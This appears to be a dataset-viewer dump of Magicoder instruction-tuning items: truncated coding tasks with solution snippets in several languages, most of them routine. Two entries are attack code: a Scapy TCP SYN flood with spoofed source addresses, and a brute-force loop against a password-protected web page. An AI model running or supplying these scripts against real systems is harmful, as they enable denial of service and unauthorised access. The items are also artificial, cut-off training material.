MessageDigest md = Messag... | magicoder | java |
You are tasked with implementing a program to parse and process a sitemap file to extract user information. The sitemap is a structured document that lists the URLs of a website, and it can be used to discover and navigate through the website's content. The sitemap contains entries for various types of content, includi... | ```python
# Sample sitemap content
sitemap_content = """
<url>
<loc>https://example.com/authors/john_doe</loc>
<lastmod>2022-01-01</lastmod>
</url>
<url>
<loc>https://example.com/authors/jane_smith</loc>
<lastmod>2022-01-02</lastmod>
</url>
"""
def extract_user_info_from_sitemap(sitemap_content):
u... | magicoder | python |
You are tasked with implementing a function to extract the ASIN (Amazon Standard Identification Number) from a given Amazon product URL. The ASIN is a unique identifier for products on Amazon and is often used in web scraping and data analysis tasks. Your task is to create a function `get_asin(url)` that takes a string... | ```python
import re
class AsinNotFoundException(Exception):
pass
def get_asin(url):
if not url.startswith("https://www.amazon."):
raise AsinNotFoundException("Invalid Amazon URL")
asin_match = re.search(r'/([A-Z0-9]{10})(?:[/?]|$)', url)
if asin_match:
return asin_match.group(1)
e... | magicoder | python |
You are tasked with creating a Python class that represents a configuration for a server plugin. The configuration should include settings for custom values, events, and server logging. Your task is to implement the necessary class structure and methods to handle this configuration.
Your class should be named `ServerP... | ```python
from enum import Enum
class EventType(Enum):
GET = 1
POST = 2
PUT = 3
DELETE = 4
class EventPlugMode(Enum):
ON_APP = 1
ON_SERVER = 2
class EventDescriptor:
def __init__(self, type: EventType, plug_mode: EventPlugMode):
self.type = type
self.plug_mode = plug_mode
... | magicoder | python |
You are tasked with creating a Python program to simulate a simple TCP SYN flood attack. In a SYN flood attack, the attacker sends a large number of TCP connection requests with spoofed source IP addresses to overwhelm the target system and exhaust its resources.
Your program should take input for the source and targe... | ```python
from scapy.all import *
def syn_flood_attack(src, target):
i = 1
while True:
for srcport in range(1, 65535):
ip = IP(src=src, dst=target)
tcp = TCP(sport=srcport, dport=80, flags="S") # Set the SYN flag
pkt = ip / tcp
send(pkt, inter=.0001, ver... | magicoder | python |
You are working on a project that involves managing dependencies for a Python package. As part of this task, you need to parse the `install_requires` and `dependency_links` sections from a `setup.py` file to extract the required dependencies and their corresponding links.
Write a Python function `parse_dependencies` t... | ```python
import re
def parse_dependencies(setup_content):
dependencies = []
dependency_links = []
install_requires_match = re.search(r'install_requires=\[(.*?)\]', setup_content, re.DOTALL)
if install_requires_match:
dependencies = re.findall(r"'(.*?)'", install_requires_match.group(1))
... | magicoder | python |
You are tasked with implementing a function to verify a cryptographic signature in a smart contract. The function takes in several parameters and is responsible for extracting the signer's address from the provided signature. The context for this problem is within the domain of blockchain and smart contract development... | ```solidity
pragma solidity ^0.8.0;
contract Uraiden {
function extractClosingSignature(
address sender,
uint256 blockNumber,
uint256 balance,
bytes memory balanceMsgSig
) public pure returns (address) {
bytes32 messageHash = keccak256(abi.encodePacked(sender, blockNumbe... | magicoder | solidity |
You are tasked with creating a Python program to crack a password-protected web page. The program will make use of a brute-force attack to systematically try different password combinations until the correct one is found. The code snippet provided below is a simplified version of the program's main loop.
```python
imp... | ```python
import requests
def crack_password(url, charset):
password = ""
while True:
for char in charset:
test_password = password + char
payload = {'password': test_password, 'submit': 'Submit+Query'}
r = requests.post(url, data=payload)
if r.status_cod... | magicoder | python |
You are tasked with implementing a function to manage instances of a game server. The function should handle the deletion of instances, but it must enforce certain rules based on the state of the instance. The state of an instance can be one of the following: "RUNNING", "STOPPED", or "DELETED". If an attempt is made to... | ```java
public class TerrariaInstanceExecutionService {
public void deleteInstance(TerrariaInstanceEntity instance) {
if (instance.getState().equals(TerrariaInstanceState.RUNNING)) {
throw new IllegalArgumentException("Cannot delete a running instance (with state RUNNING)!");
} else {
... | magicoder | java |
You are tasked with implementing a Python function that processes financial data to filter out specific columns and reformat the remaining data into a list of dictionaries. The function should take a pandas DataFrame as input and return a list of dictionaries containing date-price pairs for each record in the DataFrame... | ```python
import pandas as pd
from typing import List, Dict, Union
def process_financial_data(data: pd.DataFrame, ignore_columns: List[str]) -> List[Dict[str, Union[str, float]]]:
list_res = data.to_dict(orient='records') # Convert DataFrame to a list of dictionaries
new_list_res = []
for rec in list_res:... | magicoder | python |
You are tasked with implementing a function to compute the mean average precision (mAP) for object detection. The function takes in two lists of bounding boxes: predicted bounding boxes and ground truth bounding boxes. Each bounding box is represented as a tuple of four values: (x_min, y_min, x_max, y_max), where (x_mi... | ```python
def compute_map(predicted_bboxes, gt_bboxes):
def calculate_iou(box1, box2):
x1_tl, y1_tl, x1_br, y1_br = box1
x2_tl, y2_tl, x2_br, y2_br = box2
x_overlap = max(0, min(x1_br, x2_br) - max(x1_tl, x2_tl))
y_overlap = max(0, min(y1_br, y2_br) - max(y1_tl, y2_tl))
inte... | magicoder | python |
You are tasked with simulating the movement of a ship using a set of navigation instructions. The ship starts at the origin (0, 0) on a 2D grid and has a waypoint relative to its position. The navigation instructions consist of a sequence of actions and values, where each action represents a movement or rotation comman... | ```python
from typing import List
class Ship:
def __init__(self):
self.x = 0
self.y = 0
self.waypoint_x = 10
self.waypoint_y = 1
def move(self, action: str, value: int):
if action in ("N", "S", "E", "W"):
if action == "N":
self.waypoint_y += ... | magicoder | python |
You are tasked with implementing a Swift protocol that defines the requirements for a network configuration. The protocol should be designed to be used in conjunction with an existing `HTTPClient` and should include authentication headers and user-specific configuration. Your task is to create the protocol and implemen... | ```swift
// Define the HTTPClient protocol
protocol HTTPClient {
// Define the requirements for the HTTP client
// For example:
// func sendRequest(_ request: URLRequest, completion: @escaping (Data?, Error?) -> Void)
}
// Define the AppUserConfiguration protocol
protocol AppUserConfiguration {
// Defi... | magicoder | swift |
You are tasked with implementing a key exchange protocol using the x25519 elliptic curve Diffie-Hellman (ECDH) algorithm. The x25519 curve is preferred over the nistp256 curve due to its better performance and higher likelihood of good quality implementations on various platforms.
Your task is to write a function that... | ```python
import hashlib
def clamp_scalar(scalar: bytes) -> bytes:
scalar = bytearray(scalar)
scalar[0] &= 248
scalar[31] &= 127
scalar[31] |= 64
return bytes(scalar)
def x25519_key_exchange(private_key: int, peer_public_key: int) -> int:
# Curve parameters
p = 2**255 - 19
a = 486662
... | magicoder | python |
You are given a Python code snippet that uses the `reduce` function and a lambda function to calculate the factorial of a given positive integer `n`. Your task is to implement a function that achieves the same result using a different approach, without using the `reduce` function or lambda functions.
Write a Python fu... | ```python
def calculate_factorial(n):
if n == 0 or n == 1:
return 1
else:
factorial = 1
for i in range(2, n + 1):
factorial *= i
return factorial
```
The `calculate_factorial` function takes a single parameter `n` and first checks if `n` is 0 or 1, in which case it re... | magicoder | python |
You are tasked with creating a program that processes a command-line argument and performs a specific action based on the input. The command-line argument will be in the form of a string that represents a range of GitHub stars and a command to execute.
The input string will have the following format:
```
<gh_stars>1-1... | ```python
def process_command(input_str, stars):
range_str, command = input_str.split('\n')
range_start, range_end = map(int, range_str.split('<gh_stars>')[1].split('-'))
if range_start <= stars <= range_end:
command = command.replace('$1', str(stars))
return command
else:
return... | magicoder | python |
You are tasked with implementing a function that processes a list of integers and returns the sum of all the even numbers in the list. However, there's a catch - you must use Rust and handle potential errors that may arise during the process.
Your task is to create a Rust function called `sum_even_numbers` that takes ... | ```rust
fn sum_even_numbers(numbers: &[i32]) -> Result<i32, &str> {
let sum: i32 = numbers.iter().filter(|&x| x % 2 == 0).sum();
Ok(sum)
}
fn main() {
let numbers = vec![1, 2, 3, 4, 5, 6];
match sum_even_numbers(&numbers) {
Ok(result) => println!("Sum of even numbers: {}", result),
Err(... | magicoder | rust |
You are tasked with creating a program to process scientific articles and extract relevant information. The program will read in a dataset of features and articles, and for each article, it will identify non-zero features and save the article's abstract along with these features to a corpus. However, the code snippet p... | ```python
try:
# Extract non-zero features for a specific article
pmid = input("Enter the PMID of the article: ")
if int(pmid) in features.index:
labels = features.columns[features.loc[int(pmid)] != 0].tolist()
corpus_input[pmid] = {"text": article.getAbstract(), "labels": labels}
else:
... | magicoder | python |
You are tasked with creating a class hierarchy for employees in a company. The base class `Employee` should have attributes such as `name`, `id`, and `salary`. Additionally, there should be two derived classes: `Manager` and `Developer`. The `Manager` class should have an additional attribute `teamSize`, representing t... | ```php
// Define the base class Employee
class Employee {
protected $name;
protected $id;
protected $salary;
public function __construct($name, $id, $salary) {
$this->name = $name;
$this->id = $id;
$this->salary = $salary;
}
public function displayDetails() {
ec... | magicoder | php |
You are tasked with implementing a Python function that simulates a simple process management system. The system should be able to track the status of child processes and mark them as dead when they exit.
You are provided with a code snippet that contains a function `child_exit(server, worker)`. This function is calle... | ```python
from prometheus_client import multiprocess
def child_exit(server, worker):
multiprocess.mark_process_dead(worker.pid)
```
The `child_exit` function simply calls the `multiprocess.mark_process_dead` function provided by the Prometheus client library, passing the process ID of the child process as the argu... | magicoder | python |
You are tasked with implementing a Python module that simulates a simple banking system. The module should include classes for BankAccount and Transaction, as well as functions for performing transactions and generating account statements.
The BankAccount class should have the following attributes:
- account_number: a... | ```python
# Davenport Lab - Penn State University
# Date: 9-2-2021
class BankAccount:
def __init__(self, account_number, initial_balance):
self.account_number = account_number
self.balance = initial_balance
self.transactions = []
class Transaction:
def __init__(self, date, amount, desc... | magicoder | python |
You are tasked with designing a role-based access control system for a web application. The system should allow users to pick roles and perform actions based on their assigned roles. The application uses Python and Flask for the backend, and the code snippet provided is a part of the Flask application.
The code snippe... | ```python
class RoleManager:
def __init__(self, role_id):
self.role_id = role_id
# Initialize roles and permissions mapping (replace with actual data)
self.roles_permissions = {
'role1': ['read', 'write'],
'role2': ['read']
# Add more roles and their permi... | magicoder | python |
You are tasked with implementing a TypeScript class that manages user permissions and interactions with a blockchain network. The class, `WaxUser`, extends the `User` class and has several properties and methods for handling Wax blockchain operations.
Your task is to complete the implementation of the `WaxUser` class ... | ```typescript
import { User } from 'your-user-module-path';
import { WaxJS, Chain } from 'waxjs-library-path';
export class WaxUser extends User {
public readonly accountName: string;
public readonly requestPermission: string;
private readonly pubKeys: string[];
private readonly wax: WaxJS;
privat... | magicoder | typescript |
You are tasked with implementing a multithreaded program that simulates a simple ticket booking system for a concert. The program should use Python's threading module to manage concurrent access to a limited number of available tickets. Each thread represents a potential concert-goer trying to book a ticket. The progra... | ```python
# Create an instance of the TicketBookingSystem with 10 available tickets
ticket_system = TicketBookingSystem(10)
# Define a function to simulate a customer trying to book a ticket
def book_tickets(customer_name):
ticket_system.book_ticket(customer_name)
# Create multiple threads to simulate concurrent ... | magicoder | python |
You are tasked with implementing a custom validation function that throws a `ValidationError` if the input does not meet certain criteria. The `ValidationError` class is provided as a starting point for your implementation.
Your task is to create a function `customValidation(input: string): void` that takes a string `... | ```typescript
export class ValidationError extends Error {}
export function customValidation(input: string): void {
if (input.trim() === "") {
throw new ValidationError("Input cannot be empty or contain only whitespace");
}
if (/\d/.test(input)) {
throw new ValidationError("Input cannot contain digits");... | magicoder | typescript |
You are tasked with implementing a Constraint Satisfaction Problem (CSP) solver for solving equations involving three variables. The given code snippet provides a method for creating a constraint that enforces the relationship a + b = c, along with methods for inferring the values of a, b, and c based on the given cons... | ```python
class Variable:
def __init__(self, name, value=None):
self.name = name
self.value = value
class Method:
def __init__(self, inputs, outputs, function):
self.inputs = inputs
self.outputs = outputs
self.function = function
class Constraint:
def __init__(self,... | magicoder | python |
You are given the following Python function that performs a level order traversal of a binary tree and returns the result as a list of lists:
```python
def levelOrderTraversal(root):
if not root:
return []
ret = []
queue1 = [root]
while queue1:
tmpRet = []
queue2 = queue1
... | ```python
from typing import List, Union, Optional
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
def buildTree(traversal: List[List[Union[int, str]]]) -> Optional[TreeNode]:
if not traversal or traversal[0][0] == "n... | magicoder | python |
You are tasked with creating a secure password management system using Swift. Your goal is to implement a class that interacts with the Keychain to securely store and retrieve user passwords. The KeychainItem class has a method called saveItem that takes a password string as input and saves it securely in the Keychain.... | ```swift
import Foundation
import Security
class KeychainItem {
let service: String
let account: String
init(service: String, account: String) {
self.service = service
self.account = account
}
func saveItem(_ password: String) throws {
let passwordData = password.d... | magicoder | swift |
You are tasked with implementing a command-line tool for posting messages to Twitter. The tool should accept command-line arguments for the message to be posted, as well as the Twitter consumer key and consumer secret. Your task is to write a Python script that parses the command-line arguments and posts the message to... | ```python
import sys
import argparse
import tweepy
USAGE = '''Usage: tweet [options] message
This script posts a message to Twitter.
Options:
-h --help : print this help
--consumer-key : the twitter consumer key
--consumer-secret : the twitter consumer secret
'''
def post_to_twitter(consumer_key, c... | magicoder | python |
You are tasked with creating a program that processes and compiles shader code for a graphics application. The given code snippet is a part of a larger program that handles shader compilation. The program is written in Rust and uses the OpenGL Shading Language (GLSL) for shader code.
Your task is to implement a functi... | ```rust
use gl::types::*;
fn compile_shader(shader_type: GLenum, source: &str) -> Result<GLuint, String> {
let shader = unsafe { gl::CreateShader(shader_type) };
let c_str = std::ffi::CString::new(source).unwrap();
unsafe {
gl::ShaderSource(shader, 1, &c_str.as_ptr(), std::ptr::null());
gl:... | magicoder | rust |
You are working on a project to analyze astronomical data collected from a telescope. As part of the data processing pipeline, you need to automate the extraction and manipulation of certain statistics from the collected images. The provided code snippet is a part of a larger script that handles this task. Your task is... | ```python
import os
import subprocess
from datetime import datetime
def process_astronomical_data(centroid_file: str, condition: bool) -> None:
try:
# Change the current working directory to 'data'
os.chdir('data')
# Execute the Python script 'dimm_stats.py' with the centroid_file as a com... | magicoder | python |
You are tasked with implementing a custom hook for debouncing API requests in a React application. The hook should allow for delaying the execution of API requests until a certain amount of time has passed since the last invocation. You are provided with a code snippet that uses the `useDebounce` hook and a `useResourc... | ```javascript
// Custom useDebounce hook implementation
import { useEffect, useState } from 'react';
export const useDebounce = (callback, delay) => {
const [debouncedCallback, setDebouncedCallback] = useState(null);
useEffect(() => {
const handler = setTimeout(() => {
setDebouncedCallback(callback);
... | magicoder | javascript |
You are tasked with implementing a class that represents a bounding box in a 2D space. The class should support the following functionalities:
- Initializing the bounding box with its top-left corner coordinates, width, and height.
- Providing the center coordinates of the bounding box.
- Overriding the equality operat... | ```python
class BoundingBox:
def __init__(self, x, y, w, h):
self.x = x
self.y = y
self.w = w
self.h = h
@property
def center(self):
return (self.x + self.w / 2, self.y + self.h / 2)
def __eq__(self, other):
return (self.x, self.y, self.w, self.h) == (ot... | magicoder | python |
You are working on a quantum harmonic oscillator simulation and need to analyze the behavior of the eigenstates over time. The simulation results are stored in two CSV files: `oscilador_harmonica_quantico_por_tempo_chebyshev.csv` and `oscilador_harmonica_quantico_por_tempo_sqeuclidean.csv`. Each file contains data for ... | ```python
import pandas as pd
import numpy as np
# Read the CSV files
chebyshev_data = pd.read_csv('oscilador_harmonica_quantico_por_tempo_chebyshev.csv')
sqeuclidean_data = pd.read_csv('oscilador_harmonica_quantico_por_tempo_sqeuclidean.csv')
# Specify the eigenstate for analysis
eigenstate = 'state_1'
# Calculate ... | magicoder | python |
You are tasked with creating a performance testing utility for a custom data structure. The data structure is a simplified version of a linked list, where each node contains an integer value and a reference to the next node. Your goal is to implement a performance test to measure the time taken to perform a specific op... | ```swift
// Custom data structure: Simplified linked list node
class ListNode {
var value: Int
var next: ListNode?
init(value: Int) {
self.value = value
}
}
// Custom data structure: Simplified linked list
class LinkedList {
var head: ListNode?
// Operation to be measured: App... | magicoder | swift |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.